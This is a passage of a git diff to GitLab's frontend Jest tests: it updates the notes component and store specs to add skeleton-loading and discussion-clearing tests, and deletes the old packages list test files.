@@ -3,7 +3,6 @@ import { nextTick } from 'vue';
import discussionWithTwoUnresolvedNotes from 'test_fixtures/merge_requests/resolved_diff_discussion.json';
import { trimText } from 'helpers/text_helper';
import mockDiffFile from 'jest/diffs/mock_data/diff_file';
-import { discussionIntersectionObserverHandlerFactory } from '~/diffs/utils/discussions';
import DiscussionNotes from '~/notes/components/discussion_notes.vue';
import ReplyPlaceholder from '~/notes/components/discussion_reply_placeholder.vue';
import ResolveWithIssueButton from '~/notes/components/discussion_resolve_with_issue_button.vue';
@@ -32,9 +31,6 @@ describe('noteable_discussion component', () => {
wrapper = mount(NoteableDiscussion, {
store,
- provide: {
- discussionObserverHandler: discussionIntersectionObserverHandlerFactory(),
- },
propsData: { discussion: discussionMock },
});
});
@@ -171,9 +167,6 @@ describe('noteable_discussion component', () => {
wrapper = mount(NoteableDiscussion, {
store,
- provide: {
- discussionObserverHandler: discussionIntersectionObserverHandlerFactory(),
- },
propsData: { discussion: discussionMock },
});
});
@@ -192,9 +185,6 @@ describe('noteable_discussion component', () => {
wrapper = mount(NoteableDiscussion, {
store,
- provide: {
- discussionObserverHandler: discussionIntersectionObserverHandlerFactory(),
- },
propsData: { discussion: discussionMock },
});
});
diff --git a/spec/frontend/notes/components/notes_app_spec.js b/spec/frontend/notes/components/notes_app_spec.js
index b3dbc26878f..84d94857fe5 100644
--- a/spec/frontend/notes/components/notes_app_spec.js
+++ b/spec/frontend/notes/components/notes_app_spec.js
@@ -9,7 +9,6 @@ import DraftNote from '~/batch_comments/components/draft_note.vue';
import batchComments from '~/batch_comments/stores/modules/batch_comments';
import axios from '~/lib/utils/axios_utils';
import * as urlUtility from '~/lib/utils/url_utility';
-import { discussionIntersectionObserverHandlerFactory } from '~/diffs/utils/discussions';
import CommentForm from '~/notes/components/comment_form.vue';
import NotesApp from '~/notes/components/notes_app.vue';
import * as constants from '~/notes/constants';
@@ -79,9 +78,6 @@ describe('note_app', () => {
</div>`,
},
{
- provide: {
- discussionObserverHandler: discussionIntersectionObserverHandlerFactory(),
- },
propsData,
store,
},
@@ -378,6 +374,9 @@ describe('note_app', () => {
beforeEach(() => {
store = createStore();
store.state.discussionSortOrder = constants.DESC;
+ store.state.isLoading = true;
+ store.state.discussions = [mockData.discussionMock];
+
wrapper = shallowMount(NotesApp, {
propsData,
store,
@@ -390,11 +389,18 @@ describe('note_app', () => {
it('finds CommentForm before notes list', () => {
expect(getComponentOrder()).toStrictEqual([TYPE_COMMENT_FORM, TYPE_NOTES_LIST]);
});
+
+ it('shows skeleton notes before the loaded discussions', () => {
+ expect(wrapper.find('#notes-list').html()).toMatchSnapshot();
+ });
});
describe('when sort direction is asc', () => {
beforeEach(() => {
store = createStore();
+ store.state.isLoading = true;
+ store.state.discussions = [mockData.discussionMock];
+
wrapper = shallowMount(NotesApp, {
propsData,
store,
@@ -407,6 +413,10 @@ describe('note_app', () => {
it('finds CommentForm after notes list', () => {
expect(getComponentOrder()).toStrictEqual([TYPE_NOTES_LIST, TYPE_COMMENT_FORM]);
});
+
+ it('shows skeleton notes after the loaded discussions', () => {
+ expect(wrapper.find('#notes-list').html()).toMatchSnapshot();
+ });
});
describe('when multiple draft types are present', () => {
diff --git a/spec/frontend/notes/stores/actions_spec.js b/spec/frontend/notes/stores/actions_spec.js
index bbe074f0105..7424a87bc0f 100644
--- a/spec/frontend/notes/stores/actions_spec.js
+++ b/spec/frontend/notes/stores/actions_spec.js
@@ -1183,8 +1183,14 @@ describe('Actions Notes Store', () => {
dispatch.mockReturnValue(new Promise(() => {}));
});
+ it('clears existing discussions', () => {
+ actions.filterDiscussion({ commit, dispatch }, { path, filter, persistFilter: false });
+
+ expect(commit.mock.calls).toEqual([[mutationTypes.CLEAR_DISCUSSIONS]]);
+ });
+
it('fetches discussions with filter and persistFilter false', () => {
- actions.filterDiscussion({ dispatch }, { path, filter, persistFilter: false });
+ actions.filterDiscussion({ commit, dispatch }, { path, filter, persistFilter: false });
expect(dispatch.mock.calls).toEqual([
['setLoadingState', true],
@@ -1193,7 +1199,7 @@ describe('Actions Notes Store', () => {
});
it('fetches discussions with filter and persistFilter true', () => {
- actions.filterDiscussion({ dispatch }, { path, filter, persistFilter: true });
+ actions.filterDiscussion({ commit, dispatch }, { path, filter, persistFilter: true });
expect(dispatch.mock.calls).toEqual([
['setLoadingState', true],
diff --git a/spec/frontend/notes/stores/mutation_spec.js b/spec/frontend/notes/stores/mutation_spec.js
index c9e24039b64..da1547ab6e7 100644
--- a/spec/frontend/notes/stores/mutation_spec.js
+++ b/spec/frontend/notes/stores/mutation_spec.js
@@ -159,6 +159,18 @@ describe('Notes Store mutations', () => {
});
});
+ describe('CLEAR_DISCUSSIONS', () => {
+ it('should set discussions to an empty array', () => {
+ const state = {
+ discussions: [discussionMock],
+ };
+
+ mutations.CLEAR_DISCUSSIONS(state);
+
+ expect(state.discussions).toEqual([]);
+ });
+ });
+
describe('ADD_OR_UPDATE_DISCUSSIONS', () => {
it('should set the initial notes received', () => {
const state = {
diff --git a/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap b/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
deleted file mode 100644
index 67e2594d29f..00000000000
--- a/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
+++ /dev/null
@@ -1,68 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`packages_list_app renders 1`] = `
-<div>
- <infrastructure-title-stub
- helpurl="foo"
- />
-
- <infrastructure-search-stub />
-
- <div>
- <section
- class="row empty-state text-center"
- >
- <div
- class="col-12"
- >
- <div
- class="svg-250 svg-content"
- >
- <img
- alt=""
- class="gl-max-w-full"
- role="img"
- src="helpSvg"
- />
- </div>
- </div>
-
- <div
- class="col-12"
- >
- <div
- class="text-content gl-mx-auto gl-my-0 gl-p-5"
- >
- <h1
- class="h4"
- >
- There are no packages yet
- </h1>
-
- <p>
- Learn how to
- <b-link-stub
- class="gl-link"
- event="click"
- href="helpUrl"
- routertag="a"
- target="_blank"
- >
- publish and share your packages
- </b-link-stub>
- with GitLab.
- </p>
-
- <div
- class="gl-display-flex gl-flex-wrap gl-justify-content-center"
- >
- <!---->
-
- <!---->
- </div>
- </div>
- </div>
- </section>
- </div>
-</div>
-`;
diff --git a/spec/frontend/packages/list/components/packages_list_app_spec.js b/spec/frontend/packages/list/components/packages_list_app_spec.js
deleted file mode 100644
index 5f7555a3a2b..00000000000
--- a/spec/frontend/packages/list/components/packages_list_app_spec.js
+++ /dev/null
@@ -1,236 +0,0 @@
-import { GlEmptyState, GlSprintf, GlLink } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import setWindowLocation from 'helpers/set_window_location_helper';
-import createFlash from '~/flash';
-import * as commonUtils from '~/lib/utils/common_utils';
-import PackageListApp from '~/packages/list/components/packages_list_app.vue';
-import { DELETE_PACKAGE_SUCCESS_MESSAGE } from '~/packages/list/constants';
-import { SHOW_DELETE_SUCCESS_ALERT } from '~/packages/shared/constants';
-import { FILTERED_SEARCH_TERM } from '~/packages_and_registries/shared/constants';
-import * as packageUtils from '~/packages_and_registries/shared/utils';
-import InfrastructureSearch from '~/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue';
-
-jest.mock('~/lib/utils/common_utils');
-jest.mock('~/flash');
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('packages_list_app', () => {
- let wrapper;
- let store;
-
- const PackageList = {
- name: 'package-list',
- template: '<div><slot name="empty-state"></slot></div>',
- };
- const GlLoadingIcon = { name: 'gl-loading-icon', template: '<div>loading</div>' };
-
- const emptyListHelpUrl = 'helpUrl';
- const findEmptyState = () => wrapper.find(GlEmptyState);
- const findListComponent = () => wrapper.find(PackageList);
- const findInfrastructureSearch = () => wrapper.find(InfrastructureSearch);
-
- const createStore = (filter = []) => {
- store = new Vuex.Store({
- state: {
- isLoading: false,
- config: {
- resourceId: 'project_id',
- emptyListIllustration: 'helpSvg',
- emptyListHelpUrl,
- packageHelpUrl: 'foo',
- },
- filter,
- },
- });
- store.dispatch = jest.fn();
- };
-
- const mountComponent = (provide) => {
- wrapper = shallowMount(PackageListApp, {
- localVue,
- store,
- stubs: {
- GlEmptyState,
- GlLoadingIcon,
- PackageList,
- GlSprintf,
- GlLink,
- },
- provide,
- });
- };
-
- beforeEach(() => {
- createStore();
- jest.spyOn(packageUtils, 'getQueryParams').mockReturnValue({});
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders', () => {
- mountComponent();
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('call requestPackagesList on page:changed', () => {
- mountComponent();
- store.dispatch.mockClear();
-
- const list = findListComponent();
- list.vm.$emit('page:changed', 1);
- expect(store.dispatch).toHaveBeenCalledWith('requestPackagesList', { page: 1 });
- });
-
- it('call requestDeletePackage on package:delete', () => {
- mountComponent();
-
- const list = findListComponent();
- list.vm.$emit('package:delete', 'foo');
- expect(store.dispatch).toHaveBeenCalledWith('requestDeletePackage', 'foo');
- });
-
- it('does call requestPackagesList only one time on render', () => {
- mountComponent();
-
- expect(store.dispatch).toHaveBeenCalledTimes(3);
- expect(store.dispatch).toHaveBeenNthCalledWith(1, 'setSorting', expect.any(Object));
- expect(store.dispatch).toHaveBeenNthCalledWith(2, 'setFilter', expect.any(Array));
- expect(store.dispatch).toHaveBeenNthCalledWith(3, 'requestPackagesList');
- });
-
- describe('url query string handling', () => {
- const defaultQueryParamsMock = {
- search: [1, 2],
- type: 'npm',
- sort: 'asc',
- orderBy: 'created',
- };
-
- it('calls setSorting with the query string based sorting', () => {
- jest.spyOn(packageUtils, 'getQueryParams').mockReturnValue(defaultQueryParamsMock);
-
- mountComponent();
-
- expect(store.dispatch).toHaveBeenNthCalledWith(1, 'setSorting', {
- orderBy: defaultQueryParamsMock.orderBy,
- sort: defaultQueryParamsMock.sort,
- });
- });
-
- it('calls setFilter with the query string based filters', () => {
- jest.spyOn(packageUtils, 'getQueryParams').mockReturnValue(defaultQueryParamsMock);
-
- mountComponent();
-
- expect(store.dispatch).toHaveBeenNthCalledWith(2, 'setFilter', [
- { type: 'type', value: { data: defaultQueryParamsMock.type } },
- { type: FILTERED_SEARCH_TERM, value: { data: defaultQueryParamsMock.search[0] } },
- { type: FILTERED_SEARCH_TERM, value: { data: defaultQueryParamsMock.search[1] } },
- ]);
- });
-
- it('calls setSorting and setFilters with the results of extractFilterAndSorting', () => {
- jest
- .spyOn(packageUtils, 'extractFilterAndSorting')
- .mockReturnValue({ filters: ['foo'], sorting: { sort: 'desc' } });
-
- mountComponent();
-
- expect(store.dispatch).toHaveBeenNthCalledWith(1, 'setSorting', { sort: 'desc' });
- expect(store.dispatch).toHaveBeenNthCalledWith(2, 'setFilter', ['foo']);
- });
- });
-
- describe('empty state', () => {
- it('generate the correct empty list link', () => {
- mountComponent();
-
- const link = findListComponent().find(GlLink);
-
- expect(link.attributes('href')).toBe(emptyListHelpUrl);
- expect(link.text()).toBe('publish and share your packages');
- });
-
- it('includes the right content on the default tab', () => {
- mountComponent();
-
- const heading = findEmptyState().find('h1');
-
- expect(heading.text()).toBe('There are no packages yet');
- });
- });
-
- describe('filter without results', () => {
- beforeEach(() => {
- createStore([{ type: 'something' }]);
- mountComponent();
- });
-
- it('should show specific empty message', () => {
- expect(findEmptyState().text()).toContain('Sorry, your filter produced no results');
- expect(findEmptyState().text()).toContain(
- 'To widen your search, change or remove the filters above',
- );
- });
- });
-
- describe('Search', () => {
- it('exists', () => {
- mountComponent();
-
- expect(findInfrastructureSearch().exists()).toBe(true);
- });
-
- it('on update fetches data from the store', () => {
- mountComponent();
- store.dispatch.mockClear();
-
- findInfrastructureSearch().vm.$emit('update');
-
- expect(store.dispatch).toHaveBeenCalledWith('requestPackagesList');
- });
- });
-
- describe('delete alert handling', () => {
- const originalLocation = window.location.href;
- const search = `?${SHOW_DELETE_SUCCESS_ALERT}=true`;
-
- beforeEach(() => {
- createStore();
- jest.spyOn(commonUtils, 'historyReplaceState').mockImplementation(() => {});
- setWindowLocation(search);
- });
-
- afterEach(() => {
- setWindowLocation(originalLocation);
- });
-
- it(`creates a flash if the query string contains ${SHOW_DELETE_SUCCESS_ALERT}`, () => {
- mountComponent();
-
- expect(createFlash).toHaveBeenCalledWith({
- message: DELETE_PACKAGE_SUCCESS_MESSAGE,
- type: 'notice',
- });
- });
-
- it('calls historyReplaceState with a clean url', () => {
- mountComponent();
-
- expect(commonUtils.historyReplaceState).toHaveBeenCalledWith(originalLocation);
- });
-
- it(`does nothing if the query string does not contain ${SHOW_DELETE_SUCCESS_ALERT}`, () => {
- setWindowLocation('?');
- mountComponent();
-
- expect(createFlash).not.toHaveBeenCalled();
- expect(commonUtils.historyReplaceState).not.toHaveBeenCalled();
- });
- });
-});
diff --git a/spec/frontend/packages/list/components/packages_list_spec.js b/spec/frontend/packages/list/components/packages_list_spec.js
deleted file mode 100644
index b1478a5e6dc..00000000000
--- a/spec/frontend/packages/list/components/packages_list_spec.js
+++ /dev/null
@@ -1,217 +0,0 @@
-import { GlTable, GlPagination, GlModal } from '@gitlab/ui';
-import { mount, createLocalVue } from '@vue/test-utils';
-import { last } from 'lodash';
-import Vuex from 'vuex';
-import stubChildren from 'helpers/stub_children';
-import PackagesList from '~/packages/list/components/packages_list.vue';
-import PackagesListRow from '~/packages/shared/components/package_list_row.vue';
-import PackagesListLoader from '~/packages/shared/components/packages_list_loader.vue';
-import { TrackingActions } from '~/packages/shared/constants';
-import * as SharedUtils from '~/packages/shared/utils';
-import Tracking from '~/tracking';
-import { packageList } from '../../mock_data';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('packages_list', () => {
- let wrapper;
- let store;
-
- const EmptySlotStub = { name: 'empty-slot-stub', template: '<div>bar</div>' };
-
- const findPackagesListLoader = () => wrapper.find(PackagesListLoader);
- const findPackageListPagination = () => wrapper.find(GlPagination);
- const findPackageListDeleteModal = () => wrapper.find(GlModal);
- const findEmptySlot = () => wrapper.find(EmptySlotStub);
- const findPackagesListRow = () => wrapper.find(PackagesListRow);
-
- const createStore = (isGroupPage, packages, isLoading) => {
- const state = {
- isLoading,
- packages,
- pagination: {
- perPage: 1,
- total: 1,
- page: 1,
- },
- config: {
- isGroupPage,
- },
- sorting: {
- orderBy: 'version',
- sort: 'desc',
- },
- };
- store = new Vuex.Store({
- state,
- getters: {
- getList: () => packages,
- },
- });
- store.dispatch = jest.fn();
- };
-
- const mountComponent = ({
- isGroupPage = false,
- packages = packageList,
- isLoading = false,
- ...options
- } = {}) => {
- createStore(isGroupPage, packages, isLoading);
-
- wrapper = mount(PackagesList, {
- localVue,
- store,
- stubs: {
- ...stubChildren(PackagesList),
- GlTable,
- GlModal,
- },
- ...options,
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('when is loading', () => {
- beforeEach(() => {
- mountComponent({
- packages: [],
- isLoading: true,
- });
- });
-
- it('shows skeleton loader when loading', () => {
- expect(findPackagesListLoader().exists()).toBe(true);
- });
- });
-
- describe('when is not loading', () => {
- beforeEach(() => {
- mountComponent();
- });
-
- it('does not show skeleton loader when not loading', () => {
- expect(findPackagesListLoader().exists()).toBe(false);
- });
- });
-
- describe('layout', () => {
- beforeEach(() => {
- mountComponent();
- });
-
- it('contains a pagination component', () => {
- const sorting = findPackageListPagination();
- expect(sorting.exists()).toBe(true);
- });
-
- it('contains a modal component', () => {
- const sorting = findPackageListDeleteModal();
- expect(sorting.exists()).toBe(true);
- });
- });
-
- describe('when the user can destroy the package', () => {
- beforeEach(() => {
- mountComponent();
- });
-
- it('setItemToBeDeleted sets itemToBeDeleted and open the modal', () => {
- const mockModalShow = jest.spyOn(wrapper.vm.$refs.packageListDeleteModal, 'show');
- const item = last(wrapper.vm.list);
-
- findPackagesListRow().vm.$emit('packageToDelete', item);
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.itemToBeDeleted).toEqual(item);
- expect(mockModalShow).toHaveBeenCalled();
- });
- });
-
- it('deleteItemConfirmation resets itemToBeDeleted', () => {
- wrapper.setData({ itemToBeDeleted: 1 });
- wrapper.vm.deleteItemConfirmation();
- expect(wrapper.vm.itemToBeDeleted).toEqual(null);
- });
-
- it('deleteItemConfirmation emit package:delete', () => {
- const itemToBeDeleted = { id: 2 };
- wrapper.setData({ itemToBeDeleted });
- wrapper.vm.deleteItemConfirmation();
- return wrapper.vm.$nextTick(() => {
- expect(wrapper.emitted('package:delete')[0]).toEqual([itemToBeDeleted]);
- });
- });
-
- it('deleteItemCanceled resets itemToBeDeleted', () => {
- wrapper.setData({ itemToBeDeleted: 1 });
- wrapper.vm.deleteItemCanceled();
- expect(wrapper.vm.itemToBeDeleted).toEqual(null);
- });
- });
-
- describe('when the list is empty', () => {
- beforeEach(() => {
- mountComponent({
- packages: [],
- slots: {
- 'empty-state': EmptySlotStub,
- },
- });
- });
-
- it('show the empty slot', () => {
- const emptySlot = findEmptySlot();
- expect(emptySlot.exists()).toBe(true);
- });
- });
-
- describe('pagination component', () => {
- let pagination;
- let modelEvent;
-
- beforeEach(() => {
- mountComponent();
- pagination = findPackageListPagination();
- // retrieve the event used by v-model, a more sturdy approach than hardcoding it
- modelEvent = pagination.vm.$options.model.event;
- });
-
- it('emits page:changed events when the page changes', () => {
- pagination.vm.$emit(modelEvent, 2);
- expect(wrapper.emitted('page:changed')).toEqual([[2]]);
- });
- });
-
- describe('tracking', () => {
- let eventSpy;
- let utilSpy;
- const category = 'foo';
-
- beforeEach(() => {
- mountComponent();
- eventSpy = jest.spyOn(Tracking, 'event');
- utilSpy = jest.spyOn(SharedUtils, 'packageTypeToTrackCategory').mockReturnValue(category);
- wrapper.setData({ itemToBeDeleted: { package_type: 'conan' } });
- });
-
- it('tracking category calls packageTypeToTrackCategory', () => {
- expect(wrapper.vm.tracking.category).toBe(category);
- expect(utilSpy).toHaveBeenCalledWith('conan');
- });
-
- it('deleteItemConfirmation calls event', () => {
- wrapper.vm.deleteItemConfirmation();
- expect(eventSpy).toHaveBeenCalledWith(
- category,
- TrackingActions.DELETE_PACKAGE,
- expect.any(Object),
- );
- });
- });
-});
diff --git a/spec/frontend/packages/list/stores/actions_spec.js b/spec/frontend/packages/list/stores/actions_spec.js
deleted file mode 100644
index adccb7436e1..00000000000
--- a/spec/frontend/packages/list/stores/actions_spec.js
+++ /dev/null
@@ -1,277 +0,0 @@
-import axios from 'axios';
-import MockAdapter from 'axios-mock-adapter';
-import testAction from 'helpers/vuex_action_helper';
-import Api from '~/api';
-import createFlash from '~/flash';
-import { MISSING_DELETE_PATH_ERROR } from '~/packages/list/constants';
-import * as actions from '~/packages/list/stores/actions';
-import * as types from '~/packages/list/stores/mutation_types';
-import { DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages/shared/constants';
-
-jest.mock('~/flash.js');
-jest.mock('~/api.js');
-
-describe('Actions Package list store', () => {
- const headers = 'bar';
- let mock;
-
- beforeEach(() => {
- Api.projectPackages = jest.fn().mockResolvedValue({ data: 'foo', headers });
- Api.groupPackages = jest.fn().mockResolvedValue({ data: 'baz', headers });
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => {
- mock.restore();
- });
-
- describe('requestPackagesList', () => {
- const sorting = {
- sort: 'asc',
- orderBy: 'version',
- };
-
- const filter = [];
- it('should fetch the project packages list when isGroupPage is false', (done) => {
- testAction(
- actions.requestPackagesList,
- undefined,
- { config: { isGroupPage: false, resourceId: 1 }, sorting, filter },
- [],
- [
- { type: 'setLoading', payload: true },
- { type: 'receivePackagesListSuccess', payload: { data: 'foo', headers } },
- { type: 'setLoading', payload: false },
- ],
- () => {
- expect(Api.projectPackages).toHaveBeenCalledWith(1, {
- params: { page: 1, per_page: 20, sort: sorting.sort, order_by: sorting.orderBy },
- });
- done();
- },
- );
- });
-
- it('should fetch the group packages list when isGroupPage is true', (done) => {
- testAction(
- actions.requestPackagesList,
- undefined,
- { config: { isGroupPage: true, resourceId: 2 }, sorting, filter },
- [],
- [
- { type: 'setLoading', payload: true },
- { type: 'receivePackagesListSuccess', payload: { data: 'baz', headers } },
- { type: 'setLoading', payload: false },
- ],
- () => {
- expect(Api.groupPackages).toHaveBeenCalledWith(2, {
- params: { page: 1, per_page: 20, sort: sorting.sort, order_by: sorting.orderBy },
- });
- done();
- },
- );
- });
-
- it('should fetch packages of a certain type when a filter with a type is present', (done) => {
- const packageType = 'maven';
-
- testAction(
- actions.requestPackagesList,
- undefined,
- {
- config: { isGroupPage: false, resourceId: 1 },
- sorting,
- filter: [{ type: 'type', value: { data: 'maven' } }],
- },
- [],
- [
- { type: 'setLoading', payload: true },
- { type: 'receivePackagesListSuccess', payload: { data: 'foo', headers } },
- { type: 'setLoading', payload: false },
- ],
- () => {
- expect(Api.projectPackages).toHaveBeenCalledWith(1, {
- params: {
- page: 1,
- per_page: 20,
- sort: sorting.sort,
- order_by: sorting.orderBy,
- package_type: packageType,
- },
- });
- done();
- },
- );
- });
-
- it('should create flash on API error', (done) => {
- Api.projectPackages = jest.fn().mockRejectedValue();
- testAction(
- actions.requestPackagesList,
- undefined,
- { config: { isGroupPage: false, resourceId: 2 }, sorting, filter },
- [],
- [
- { type: 'setLoading', payload: true },
- { type: 'setLoading', payload: false },
- ],
- () => {
- expect(createFlash).toHaveBeenCalled();
- done();
- },
- );
- });
-
- it('should force the terraform_module type when forceTerraform is true', (done) => {
- testAction(
- actions.requestPackagesList,
- undefined,
- { config: { isGroupPage: false, resourceId: 1, forceTerraform: true }, sorting, filter },
- [],
- [
- { type: 'setLoading', payload: true },
- { type: 'receivePackagesListSuccess', payload: { data: 'foo', headers } },
- { type: 'setLoading', payload: false },
- ],
- () => {
- expect(Api.projectPackages).toHaveBeenCalledWith(1, {
- params: {
- page: 1,
- per_page: 20,
- sort: sorting.sort,
- order_by: sorting.orderBy,
- package_type: 'terraform_module',
- },
- });
- done();
- },
- );
- });
- });
-
- describe('receivePackagesListSuccess', () => {
- it('should set received packages', (done) => {
- const data = 'foo';
-
- testAction(
- actions.receivePackagesListSuccess,
- { data, headers },
- null,
- [
- { type: types.SET_PACKAGE_LIST_SUCCESS, payload: data },
- { type: types.SET_PAGINATION, payload: headers },
- ],
- [],
- done,
- );
- });
- });
-
- describe('setInitialState', () => {
- it('should commit setInitialState', (done) => {
- testAction(
- actions.setInitialState,
- '1',
- null,
- [{ type: types.SET_INITIAL_STATE, payload: '1' }],
- [],
- done,
- );
- });
- });
-
- describe('setLoading', () => {
- it('should commit set main loading', (done) => {
- testAction(
- actions.setLoading,
- true,
- null,
- [{ type: types.SET_MAIN_LOADING, payload: true }],
- [],
- done,
- );
- });
- });
-
- describe('requestDeletePackage', () => {
- const payload = {
- _links: {
- delete_api_path: 'foo',
- },
- };
- it('should perform a delete operation on _links.delete_api_path', (done) => {
- mock.onDelete(payload._links.delete_api_path).replyOnce(200);
- Api.projectPackages = jest.fn().mockResolvedValue({ data: 'foo' });
-
- testAction(
- actions.requestDeletePackage,
- payload,
- { pagination: { page: 1 } },
- [],
- [
- { type: 'setLoading', payload: true },
- { type: 'requestPackagesList', payload: { page: 1 } },
- ],
- done,
- );
- });
-
- it('should stop the loading and call create flash on api error', (done) => {
- mock.onDelete(payload._links.delete_api_path).replyOnce(400);
- testAction(
- actions.requestDeletePackage,
- payload,
- null,
- [],
- [
- { type: 'setLoading', payload: true },
- { type: 'setLoading', payload: false },
- ],
- () => {
- expect(createFlash).toHaveBeenCalled();
- done();
- },
- );
- });
-
- it.each`
- property | actionPayload
- ${'_links'} | ${{}}
- ${'delete_api_path'} | ${{ _links: {} }}
- `('should reject and createFlash when $property is missing', ({ actionPayload }, done) => {
- testAction(actions.requestDeletePackage, actionPayload, null, [], []).catch((e) => {
- expect(e).toEqual(new Error(MISSING_DELETE_PATH_ERROR));
- expect(createFlash).toHaveBeenCalledWith({
- message: DELETE_PACKAGE_ERROR_MESSAGE,
- });
- done();
- });
- });
- });
-
- describe('setSorting', () => {
- it('should commit SET_SORTING', (done) => {
- testAction(
- actions.setSorting,
- 'foo',
- null,
- [{ type: types.SET_SORTING, payload: 'foo' }],
- [],
- done,
- );
- });
- });
-
- describe('setFilter', () => {
- it('should commit SET_FILTER', (done) => {
- testAction(
- actions.setFilter,
- 'foo',
- null,
- [{ type: types.SET_FILTER, payload: 'foo' }],
- [],
- done,
- );
- });
- });
-});
diff --git a/spec/frontend/packages/list/stores/getters_spec.js b/spec/frontend/packages/list/stores/getters_spec.js
deleted file mode 100644
index 080bbc21d9f..00000000000
--- a/spec/frontend/packages/list/stores/getters_spec.js
+++ /dev/null
@@ -1,36 +0,0 @@
-import getList from '~/packages/list/stores/getters';
-import { packageList } from '../../mock_data';
-
-describe('Getters registry list store', () => {
- let state;
-
- const setState = ({ isGroupPage = false } = {}) => {
- state = {
- packages: packageList,
- config: {
- isGroupPage,
- },
- };
- };
-
- beforeEach(() => setState());
-
- afterEach(() => {
- state = null;
- });
-
- describe('getList', () => {
- it('returns a list of packages', () => {
- const result = getList(state);
-
- expect(result).toHaveLength(packageList.length);
- expect(result[0].name).toBe('Test package');
- });
-
- it('adds projectPathName', () => {
- const result = getList(state);
-
- expect(result[0].projectPathName).toMatchInlineSnapshot(`"foo / bar / baz"`);
- });
- });
-});
diff --git a/spec/frontend/packages/list/stores/mutations_spec.js b/spec/frontend/packages/list/stores/mutations_spec.js
deleted file mode 100644
index 2ddf3a1da33..00000000000
--- a/spec/frontend/packages/list/stores/mutations_spec.js
+++ /dev/null
@@ -1,87 +0,0 @@
-import * as commonUtils from '~/lib/utils/common_utils';
-import * as types from '~/packages/list/stores/mutation_types';
-import mutations from '~/packages/list/stores/mutations';
-import createState from '~/packages/list/stores/state';
-import { npmPackage, mavenPackage } from '../../mock_data';
-
-describe('Mutations Registry Store', () => {
- let mockState;
- beforeEach(() => {
- mockState = createState();
- });
-
- describe('SET_INITIAL_STATE', () => {
- it('should set the initial state', () => {
- const config = {
- resourceId: '1',
- pageType: 'groups',
- userCanDelete: '',
- emptyListIllustration: 'foo',
- emptyListHelpUrl: 'baz',
- };
-
- const expectedState = {
- ...mockState,
- config: {
- ...config,
- isGroupPage: true,
- canDestroyPackage: true,
- },
- };
- mutations[types.SET_INITIAL_STATE](mockState, config);
-
- expect(mockState.projectId).toEqual(expectedState.projectId);
- });
- });
-
- describe('SET_PACKAGE_LIST_SUCCESS', () => {
- it('should set a packages list', () => {
- const payload = [npmPackage, mavenPackage];
- const expectedState = { ...mockState, packages: payload };
- mutations[types.SET_PACKAGE_LIST_SUCCESS](mockState, payload);
-
- expect(mockState.packages).toEqual(expectedState.packages);
- });
- });
-
- describe('SET_MAIN_LOADING', () => {
- it('should set main loading', () => {
- mutations[types.SET_MAIN_LOADING](mockState, true);
-
- expect(mockState.isLoading).toEqual(true);
- });
- });
-
- describe('SET_PAGINATION', () => {
- const mockPagination = { perPage: 10, page: 1 };
- beforeEach(() => {
- commonUtils.normalizeHeaders = jest.fn().mockReturnValue('baz');
- commonUtils.parseIntPagination = jest.fn().mockReturnValue(mockPagination);
- });
- it('should set a parsed pagination', () => {
- mutations[types.SET_PAGINATION](mockState, 'foo');
- expect(commonUtils.normalizeHeaders).toHaveBeenCalledWith('foo');
- expect(commonUtils.parseIntPagination).toHaveBeenCalledWith('baz');
- expect(mockState.pagination).toEqual(mockPagination);
- });
- });
-
- describe('SET_SORTING', () => {
- it('should merge the sorting object with sort value', () => {
- mutations[types.SET_SORTING](mockState, { sort: 'desc' });
- expect(mockState.sorting).toEqual({ ...mockState.sorting, sort: 'desc' });
- });
-
- it('should merge the sorting object with order_by value', () => {
- mutations[types.SET_SORTING](mockState, { orderBy: 'foo' });
- expect(mockState.sorting).toEqual({ ...mockState.sorting, orderBy: 'foo' });
- });
- });
-
- describe('SET_FILTER', () => {
- it('should set the filter query', () => {
- mutations[types.SET_FILTER](mockState, 'foo');
- expect(mockState.filter).toEqual('foo');
- });
- });
-});
diff --git a/spec/frontend/packages/list/utils_spec.js b/spec/frontend/packages/list/utils_spec.js
deleted file mode 100644
index 4e4f7b8a723..00000000000
--- a/spec/frontend/packages/list/utils_spec.js
+++ /dev/null
@@ -1,48 +0,0 @@
-import { SORT_FIELDS } from '~/packages/list/constants';
-import { getNewPaginationPage, sortableFields } from '~/packages/list/utils';
-
-describe('Packages list utils', () => {
- describe('sortableFields', () => {
- it('returns the correct list when is a project page', () => {
- expect(sortableFields()).toEqual(SORT_FIELDS.filter((f) => f.orderBy !== 'project_path'));
- });
- it('returns the full list on the group page', () => {
- expect(sortableFields(true)).toEqual(SORT_FIELDS);
- });
- });
- describe('packageTypeDisplay', () => {
- it('returns the current page when total items exceeds pagniation', () => {
- expect(getNewPaginationPage(2, 20, 21)).toBe(2);
- });
-
- it('returns the previous page when total items is lower than or equal to pagination', () => {
- expect(getNewPaginationPage(2, 20, 20)).toBe(1);
- });
-
- it('returns the first page when totalItems is lower than or equal to perPage', () => {
- expect(getNewPaginationPage(4, 20, 20)).toBe(1);
- });
-
- describe('works when a different perPage is used', () => {
- it('returns the current page', () => {
- expect(getNewPaginationPage(2, 10, 11)).toBe(2);
- });
-
- it('returns the previous page', () => {
- expect(getNewPaginationPage(2, 10, 10)).toBe(1);
- });
- });
-
- describe.each`
- currentPage | totalItems | expectedResult
- ${1} | ${20} | ${1}
- ${2} | ${20} | ${1}
- ${3} | ${40} | ${2}
- ${4} | ${60} | ${3}
- `(`works across numerious pages`, ({ currentPage, totalItems, expectedResult }) => {
- it(`when currentPage is ${currentPage} return to the previous page ${expectedResult}`, () => {
- expect(getNewPaginationPage(currentPage, 20, totalItems)).toBe(expectedResult);
